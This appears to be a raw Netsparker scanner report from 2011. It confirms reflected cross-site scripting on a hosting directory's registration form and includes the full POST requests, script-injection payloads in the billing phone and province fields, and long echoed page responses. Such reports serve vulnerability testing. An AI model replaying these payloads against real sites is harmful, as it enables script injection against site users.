<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST '"--></style></script><script>alert(0x001C9C)</script>
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 583
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001C9C)%3c%2fscript%3e&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:49:22 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='C4C0A65D598D2DD53D3D641B453714E8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='C4C0A65D598D2DD5378BEF265F61D3956F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='C4C0A65D598D2DD5065A57925989FF9EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C4C0A65D598D2DD5EF1AF47B7C0911D3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='C4C0A65D598D2DD58B186E7B9EA1FF4D6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='C4C0A65D598D2DD59ED5134AB67A2896C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='C4C0A65D598D2DD5D0A693B20553C129C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='C4C0A65D598D2DD5E4E5298287E37D856F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='C4C0A65D598D2DD5AD020880A1843635C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='C4C0A65D598D2DD5DD299BAB85433DAD6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='C4C0A65D598D2DD55AD81774A033865AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='C4C0A65D598D2DD57948143B10AF53B0C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='C4C0A65D598D2DD543F1663CC5B110F5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C4C0A65D598D2DD571723B4773B2CE89C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='C4C0A65D598D2DD56272F6C77777133EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='C4C0A65D598D2DD504569EE57D567C0DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='C4C0A65D598D2DD55DF2BA1F961B70D86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='C4C0A65D598D2DD570973221E0AE80AE6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='C4C0A65D598D2DD55DFB4AB870F1BD666F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST '"--></style></script><script>alert(0x001C9D)</script>
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 583
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001C9D)%3c%2fscript%3e&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:49:26 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='C4C0A65D598D2DD5304A9C2610BDFBE2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='C4C0A65D598D2DD557E18C702F9259EC6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='C4C0A65D598D2DD5AFD9667D878D0369C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C4C0A65D598D2DD541777A601D49E2D3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='C4C0A65D598D2DD5E835CF32BACCA66A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='C4C0A65D598D2DD538FA3D25ABA6EFAFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='C4C0A65D598D2DD542C3E5B7E038619DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='C4C0A65D598D2DD556395956634921856F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='C4C0A65D598D2DD534D453736EE3B2A0C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='C4C0A65D598D2DD5B903979280E749556F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
